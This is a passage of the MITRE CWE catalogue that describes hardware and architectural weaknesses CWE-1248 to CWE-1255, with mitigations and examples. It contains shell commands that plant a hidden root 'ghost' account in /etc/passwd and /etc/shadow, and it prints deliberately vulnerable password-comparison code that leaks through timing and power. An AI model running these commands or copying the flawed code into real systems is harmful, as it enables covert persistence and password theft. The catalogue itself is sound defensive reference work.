[REF-1286]Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 2022 March 4. < <https://eprint.iacr.org/2022/328.pdf> >.

## CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications

**Weakness ID** : 1248

**Structure** : Simple

**Abstraction** : Base

### Description

The security-sensitive hardware module contains semiconductor defects.

## Extended Description

A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, security guarantees offered by the device will be compromised.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability	
Access Control		

## Potential Mitigations

### Phase: Testing

While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

### Phase: Operation

Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects. When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.

## Demonstrative Examples

### Example 1:

The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.

Example Language: Other

(Bad)

A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.

Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2262
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266
MemberOf	C	1388	Physical Access Issues and Concerns	1194	2309

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

### References

- [REF-1067] Brian Bailey. "Why Chips Die". < <https://semiengineering.com/why-chips-die/> >.
- [REF-1068] V. Lakshminarayan. "What causes semiconductor devices to fail". < <https://www.edn.com/what-causes-semiconductor-devices-to-fail/> >.

## CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System

**Weakness ID** : 1249

**Structure** : Simple

**Abstraction** : Base

### Description

The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.

### Extended Description

Many products provide web-based applications or other interfaces for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems. When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.

For example, numerous systems utilize a web front-end for administrative control. They also offer the ability to add, alter, and drop users with various privileges as it relates to the functionality of the system. A potential architectural weakness may exist where the user information reflected in the web interface does not mirror the users in the underlying operating system. Many web UI or REST APIs use the underlying operating system for authentication; the system's logic may also track an additional set of user capabilities within configuration files and datasets for authorization capabilities. When there is a discrepancy between the user information in the UI or REST API's

interface system and the underlying operating system's user listing, this may introduce a weakness into the system. For example, if an attacker compromises the OS and adds a new user account - a "ghost" account - then the attacker could escape detection if the management tool does not list the newly-added account.

This discrepancy could be exploited in several ways:


- A rogue admin could insert a new account into a system that will persist if they are terminated or wish to take action on a system that cannot be directly associated with them.
- An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.
- An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.
- An attacker could create an admin account which is viewable by an administrator, use this account to create the ghost account, delete logs and delete the first created admin account.

Many of these attacker scenarios can be realized by leveraging separate vulnerabilities related to XSS, command injection, authentication bypass, or logic flaws on the various systems.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1893

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

### Alternate Terms

**Ghost in the Shell** :

### Common Consequences

Scope	Impact	Likelihood
Access Control	Varies by Context	
Accountability	Hide Activities	
Other	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.

### Demonstrative Examples

#### Example 1:

Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:

Example Language: Other

(Attack)

```
echo "user2:x:0:0::/root:/" >> /etc/passwd;
echo "user2:\$6\$ldvyrM6VJnG8Su5U\$1gmW3Nm.I04vxTQDQ1C8urm72JcAdOHZQwqiH/
nRtL8dPY80xS4Ovsv5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" >> /etc/shadow;
```

This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.

It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data. However, this example shows how the discrepancy in critical data can help attackers to escape detection.

## References

[REF-1070]Tony Martin. "Ghost in the Shell Weakness". 2020 February 3. < <http://www.friendsglobal.com/ghost-in-the-shell/ghost-in-the-shell-weakness/> >.

## CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State

**Weakness ID** : 1250

**Structure** : Simple

**Abstraction** : Base

### Description

The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.

### Extended Description

In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion. For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world. Alternately, a processor's Memory Management Unit (MMU) might have "shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.

In such environments, it becomes critical for the product to ensure that this "shared state" is consistently modified across all distributed systems. If state is not consistently maintained across all systems, then critical transactions might take place out of order, or some users might not get the same data as other users. When this inconsistency affects correctness of operations, it can introduce vulnerabilities in mechanisms that depend on consistent state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	ⓔ	1249	Application-Level Admin Tool with Inconsistent View of Underlying Operating System	1891
ParentOf	ⓔ	1251	Mirrored Regions with Different Values	1894

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

**Technology** : Security Hardware (*Prevalence = Undetermined*)

### Demonstrative Examples

#### Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	ⓐ	1199	General Circuit and Logic Design Concerns	1194	2264

### Notes

#### Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

### References

[REF-1069]Tanakorn Leesatapornwongsa, Jeffrey F. Lukman, Shan Lu and Haryadi S. Gunawi. "TaxDC: A Taxonomy of Non-Deterministic Concurrency Bugs in Datacenter Distributed Systems". 2016. < <https://ucare.cs.uchicago.edu/pdf/asplos16-TaxDC.pdf> >.

## CWE-1251: Mirrored Regions with Different Values

**Weakness ID** : 1251

**Structure** : Simple

**Abstraction** : Base

### Description

1894



The product's architecture mirrors regions without ensuring that their contents always stay in sync.

### Extended Description

Having mirrored regions with different values might result in the exposure of sensitive information or possibly system compromise.

In the interest of increased performance, one might need to duplicate a resource. A cache memory is a common example of this concept, which keeps a "local" copy of a data element in the high speed cache memory. Unfortunately, this speed improvement comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync, the computational result is no longer true.

During hardware design, memory is not the only item which gets mirrored. There are many other entities that get mirrored, as well: registers, memory regions, and, in some cases, even whole computational units. For example, within a multi-core processor, if all memory accesses for each and every core goes through a single Memory-Management Unit (MMU) then the MMU will become a performance bottleneck. In such cases, duplicating local MMUs that will serve only a subset of the cores rather than all of them may resolve the performance issue. These local copies are also called "shadow copies" or "mirrored copies."

If the original resource never changed, local duplicate copies getting out of sync would never be an issue. However, the values of the original copy will sometimes change. When the original copy changes, the mirrored copies must also change, and change fast.

This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:

- After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.
- After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.
- After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the shadow copy is still holding the "old" values, an attacker can exploit the old values. Then it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.
- The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.
- Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1893

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	ⓑ	1312	Missing Protection for Mirrored Regions in On-Chip Fabric Firewall	2011

### Applicable Platforms

**Language** : VHDL (*Prevalence = Undetermined*)

**Language** : Verilog (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context	
Integrity		
Availability		
Access Control		
Accountability		
Authentication		
Authorization		
Non-Repudiation		

### Potential Mitigations

#### Phase: Architecture and Design

Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are: Make this out-of-sync time period as small as possible, and Make the update process as robust as possible.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2265

## Notes

### Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

## CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations

**Weakness ID :** 1252

**Structure :** Simple

**Abstraction :** Base

### Description

The CPU is not configured to provide hardware support for exclusivity of write and execute operations on memory. This allows an attacker to execute data from all of memory.

### Extended Description

CPUs provide a special bit that supports exclusivity of write and execute operations. This bit is used to segregate areas of memory to either mark them as code (instructions, which can be executed) or data (which should not be executed). In this way, if a user can write to a region of memory, the user cannot execute from that region and vice versa. This exclusivity provided by special hardware bit is leveraged by the operating system to protect executable space. While this bit is available in most modern processors by default, in some CPUs the exclusivity is implemented via a memory-protection unit (MPU) and memory-management unit (MMU) in which memory regions can be carved out with exact read, write, and execute permissions. However, if the CPU does not have an MMU/MPU, then there is no write exclusivity. Without configuring exclusivity of operations via segregated areas of memory, an attacker may be able to inject malicious code onto memory and later execute it.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Microcontroller Hardware (Prevalence = Undetermined)

**Technology** : Processor Hardware (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Architecture and Design

Implement a dedicated bit that can be leveraged by the Operating System to mark data areas as non-executable. If such a bit is not available in the CPU, implement MMU/MPU (memory management unit / memory protection unit).

#### Phase: Integration

If MMU/MPU are not available, then the firewalls need to be implemented in the SoC interconnect to mimic the write-exclusivity operation.

### Demonstrative Examples

#### Example 1:

MCS51 Microcontroller (based on 8051) does not have a special bit to support write exclusivity. It also does not have an MMU/MPU support. The Cortex-M CPU has an optional MPU that supports up to 8 regions.

*Example Language: Other*

*(Bad)*

The optional MPU is not configured.

If the MPU is not configured, then an attacker will be able to inject malicious data into memory and execute it.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1201	Core and Compute Issues		1194 2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
679	Exploitation of Improperly Configured or Implemented Memory Protections

### References

[REF-1076]ARM. "Cortex-R4 Manual". < <https://developer.arm.com/ip-products/processors/cortex-m/cortex-m4> >.

[REF-1077]Intel. "MCS 51 Microcontroller Family User's Manual". < <http://web.mit.edu/6.115/www/document/8051.pdf> >.

[REF-1078]ARM. "Memory Protection Unit (MPU)". < [https://static.docs.arm.com/100699/0100/armv8m\\_architecture\\_memory\\_protection\\_unit\\_100699\\_0100\\_00\\_en.pdf](https://static.docs.arm.com/100699/0100/armv8m_architecture_memory_protection_unit_100699_0100_00_en.pdf) >.

## CWE-1253: Incorrect Selection of Fuse Values

Weakness ID : 1253

**Structure** : Simple  
**Abstraction** : Base

### Description

The logic level used to set a system to a secure state relies on a fuse being unblown. An attacker can set the system to an insecure state merely by blowing the fuse.

### Extended Description

Fuses are often used to store secret data, including security configuration data. When not blown, a fuse is considered to store a logic 0, and, when blown, it indicates a logic 1. Fuses are generally considered to be one-directional, i.e., once blown to logic 1, it cannot be reset to logic 0. However, if the logic used to determine system-security state (by leveraging the values sensed from the fuses) uses negative logic, an attacker might blow the fuse and drive the system to an insecure state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Authorization	Gain Privileges or Assume Identity	
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Memory	
Integrity	Modify Memory Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Architecture and Design

Logic should be designed in a way that blown fuses do not put the product into an insecure state that can be leveraged by an attacker.

### Demonstrative Examples

#### Example 1:

A chip implements a secure boot and uses the sensed value of a fuse "do\_secure\_boot" to determine whether to perform a secure boot or not. If this fuse value is "0", the system performs secure boot. Otherwise, it does not perform secure boot.

An attacker blows the "do\_secure\_boot" fuse to "1". After reset, the attacker loads a custom bootloader, and, since the fuse value is now "1", the system does not perform secure boot, and the attacker can execute their custom firmware image.

Since by default, a fuse-configuration value is a "0", an attacker can blow it to a "1" with inexpensive hardware.

If the logic is reversed, an attacker cannot easily reset the fuse. Note that, with specialized and expensive equipment, an attacker with full physical access might be able to "unblow" the fuse value to a "0".

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264

### Notes

#### Maintenance

This entry is still under development and will continue to see updates and content improvements.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating State

### References

[REF-1080]Christopher Tarnovsky. "Security Failures in Secure Devices". < <https://www.blackhat.com/presentations/bh-europe-08/Tarnovsky/Presentation/bh-eu-08-tarnovsky.pdf> >.

## CWE-1254: Incorrect Comparison Logic Granularity

**Weakness ID** : 1254

**Structure** : Simple

**Abstraction** : Base

### Description

The product's comparison logic is performed over a series of steps rather than across the entire string in one operation. If there is a comparison logic failure on one of these steps, the operation may be vulnerable to a timing attack that can result in the interception of the process for nefarious purposes.

### Extended Description

Comparison logic is used to compare a variety of objects including passwords, Message Authentication Codes (MACs), and responses to verification challenges. When comparison logic is implemented at a finer granularity (e.g., byte-by-byte comparison) and breaks in the case of a comparison failure, an attacker can exploit this implementation to identify when exactly the failure occurred. With multiple attempts, the attacker may be able to guess the correct password/response to challenge and elevate their privileges.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ChildOf	ⓑ	208	Observable Timing Discrepancy	508
PeerOf	ⓑ	1261	Improper Handling of Single Event Upsets	1918

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Authorization	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

The hardware designer should ensure that comparison logic is implemented so as to compare in one operation instead in smaller chunks.

### Demonstrative Examples

#### Example 1:

Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.

*Example Language: Verilog*

*(Bad)*

```
always_comb @ (posedge clk)
begin
  assign check_pass[3:0] = 4'b0;
  for (i = 0; i < 4; i++) begin
    if (entered_pass[(i*8 - 1) : i] eq golden_pass[(i*8 - 1) : i])
      assign check_pass[i] = 1;
    continue;
  else
    assign check_pass[i] = 0;
    break;
  end
  assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end
```

Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.

To fix this weakness, either the comparison of the entire string should be done all at once, or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant\_access signal is set.

*Example Language:*

*(Good)*

```
always_comb @ (posedge clk)
begin
  assign check_pass[3:0] = 4'b0;
```



```

for (i = 0; i < 4; i++) begin
  if (entered_pass[(i*8 - 1) : i] eq golden_pass[(i*8 - 1) : i])
    assign check_pass[i] = 1;
    continue;
  else
    assign check_pass[i] = 0;
    continue;
  end
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end

```

## Observed Examples

Reference	Description
<b>CVE-2014-0984</b>	The passwordCheck function in SAP Router 721 patch 117, 720 patch 411, 710 patch 029, and earlier terminates validation of a Route Permission Table entry password upon encountering the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack. <a href="https://www.cve.org/CVERecord?id=CVE-2014-0984">https://www.cve.org/CVERecord?id=CVE-2014-0984</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1199	General Circuit and Logic Design Concerns	1194	2264

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions

## References

[REF-1079]Joe Fitzpatrick. "SCA4n00bz - Timing-based Sidechannel Attacks for Hardware N00bz workshop". < <https://github.com/securelyfitz/SCA4n00bz> >.

## CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks

**Weakness ID** : 1255

**Structure** : Simple

**Abstraction** : Variant

### Description

A device's real time power consumption may be monitored during security token evaluation and the information gleaned may be used to determine the value of the reference token.

### Extended Description

The power consumed by a device may be instrumented and monitored in real time. If the algorithm for evaluating security tokens is not sufficiently robust, the power consumption may vary by token entry comparison against the reference value. Further, if retries are unlimited, the power difference between a "good" entry and a "bad" entry may be observed and used to determine whether each entry itself is correct thereby allowing unauthorized parties to calculate the reference value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	1300	Improper Protection of Physical Side Channels	1996

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	ⓑ	1259	Improper Restriction of Security Token Assignment	1913

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Availability	Read Files or Directories	
Access Control	Modify Files or Directories	
Accountability	Execute Unauthorized Code or Commands	
Authentication	Gain Privileges or Assume Identity	
Authorization	Bypass Protection Mechanism	
Non-Repudiation	Read Application Data	
	Modify Application Data	
	Hide Activities	
<i>As compromising a security token may result in complete system control, the impacts are relatively universal</i>		

### Potential Mitigations

#### Phase: Architecture and Design

The design phase must consider each check of a security token against a standard and the amount of power consumed during the check of a good token versus a bad token. The alternative is an all at once check where a retry counter is incremented PRIOR to the check.

#### Phase: Architecture and Design

Another potential mitigation is to parallelize shifting of secret data (see example 2 below). Note that the wider the bus the more effective the result.

#### Phase: Architecture and Design

An additional potential mitigation is to add random data to each crypto operation then subtract it out afterwards. This is highly effective but costly in performance, area, and power consumption. It also requires a random number generator.

#### Phase: Implementation

If the architecture is unable to prevent the attack, using filtering components may reduce the ability to implement an attack, however, consideration must be given to the physical removal of the filter elements.

**Phase: Integration**

During integration, avoid use of a single secret for an extended period (e.g. frequent key updates). This limits the amount of data compromised but at the cost of complexity of use.

**Demonstrative Examples****Example 1:**

Consider an example hardware module that checks a user-provided password (or PIN) to grant access to a user. The user-provided password is compared against a stored value byte-by-byte.

*Example Language: C*

*(Bad)*

```
static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_ok = 0;
  for (i = 0; i < NUM_PW_DIGITS; i++)
    if (GetPasswordByte() == stored_password([i])
        password_ok |= 1; // Power consumption is different here
    else
      password_ok |= 0; // than from here
  end
  if (password_ok > 0)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
  password_tries--;
while (true)
// Password OK
```

Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.

Among various options for mitigating the string comparison is obscuring the power consumption by having opposing bit flips during bit operations. Note that in this example, the initial change of the bit values could still provide power indication depending upon the hardware itself. This possibility needs to be measured for verification.

*Example Language: C*

*(Good)*

```
static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_tries--; // Put retry code here to catch partial retries
  password_ok = 0;
  for (i = 0; i < NUM_PW_DIGITS; i++)
    if (GetPasswordByte() == stored_password([i])
        password_ok |= 0x10; // Power consumption here
    else
      password_ok |= 0x01; // is now the same here
  end
  if ((password_ok & 1) == 0)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
while (true)
// Password OK
```

Since the algorithm uses a different number of 1's and 0's for password validation, a different amount of power is consumed for the good byte versus the bad byte comparison. Using this information, an attacker may be able to guess the correct password for that byte-by-byte iteration with several repeated attempts by stopping the password evaluation before it completes.

An alternative to the previous example is simply comparing the whole password simultaneously.

*Example Language: C**(Good)*

```

static nonvolatile password_tries = NUM_RETRIES;
do
  while (password_tries == 0) ; // Hang here if no more password tries
  password_tries--; // Put retry code here to catch partial retries
  for (i = 0; i < NUM_PW_DIGITS; i++)
    stored_password([i]) = GetPasswordByte();
  end
  if (stored_password == saved_password)
    password_tries = NUM_RETRIES;
    break_to_Ok_to_proceed
  while (true)
  // Password OK

```

Since comparison is done atomically, there is no indication which bytes fail forcing the attacker to brute force the whole password at once. Note that other mitigations may exist such as masking - causing a large current draw to mask individual bit flips.

**Example 2:**

This code demonstrates the transfer of a secret key using Serial-In/Serial-Out shift. It's easy to extract the secret using simple power analysis as each shift gives data on a single bit of the key.

*Example Language: Verilog**(Bad)*

```

module siso(clk,rst,a,q);
  input a;
  input clk,rst;
  output q;
  reg q;
  always@(posedge clk,posedge rst)
  begin
    if(rst==1'b1)
      q<1'b0;
    else
      q<a;
  end
endmodule

```

This code demonstrates the transfer of a secret key using a Parallel-In/Parallel-Out shift. In a parallel shift, data confounded by multiple bits of the key, not just one.

*Example Language: Verilog**(Good)*

```

module pipo(clk,rst,a,q);
  input clk,rst;
  input[3:0]a;
  output[3:0]q;
  reg[3:0]q;
  always@(posedge clk,posedge rst)
  begin
    if (rst==1'b1)
      q<4'b0000;
    else
      q<a;
  end
endmodule

```

**Observed Examples**

Reference	Description
